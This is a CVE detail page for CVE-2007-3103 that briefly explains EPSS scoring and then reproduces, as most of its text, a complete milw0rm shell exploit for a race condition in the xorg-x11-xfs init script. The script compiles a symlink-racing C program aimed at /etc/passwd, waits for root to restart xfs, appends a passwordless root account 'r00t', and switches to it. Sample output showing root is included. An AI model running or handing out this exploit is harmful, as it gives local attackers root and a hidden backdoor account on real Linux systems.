CVE-2007-3103 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/bin/sh # Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103) # # Another lame xploit by vl4dZ :)) works on redhat el5 and before # # $ id # uid=1001(kecos) gid=1001(user) groups=1001(user) # $ sh xfs-RaceCondition-root-exploit.sh # [*] Generate large data file in /tmp/.font-unix # [*] Wait for xfs service to be (re)started by root... # [*] Hop, symlink created... # [*] Launching root shell # -sh-3.1# id # uid=0(root) gid=0(root) groups=0(root) # Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is # located in the start() function of the /etc/init.d/xfs script: # ... # rm -rf $FONT_UNIX_DIR # mkdir $FONT_UNIX_DIR # chown root:root $FONT_UNIX_DIR # chmod 1777 $FONT_UNIX_DIR # ... # I'm listening right now to nice free music: # http://www.jamendo.com/fr/album/5919 FontDir="/tmp/.font-unix" Zero=/dev/zero Size=900000 if [ ! -d $FontDir ]; then printf "Is xfs running ?\n" exit 1 fi cd /tmp cat > sym.c << EOF #include <unistd.h> int main(){ for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0) {return 0;}}} EOF cc sym.c -o sym>/dev/null 2>&1 if [ $? != 0 ]; then printf "Error: Cant compile code" exit 1 fi printf "[*] Generate large data file in $FontDir\n" dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1 if [ $? != 0 ]; then printf "Error: cant create large file" exit 1 fi printf "[*] Wait for xfs service to be (re)started by root...\n" ./sym if [ $? != 0 ]; then printf "Error: code failed...\n" exit 1 fi if [ -L /tmp/.font-unix ]; then printf "[*] Hop, symlink created...\n" printf "[*] Launching root shell\n" sleep 2 rm -f /tmp/.font-unix echo "r00t::0:0::/:/bin/sh" >> /etc/passwd fi su - r00t # milw0rm.com [2008-02-21]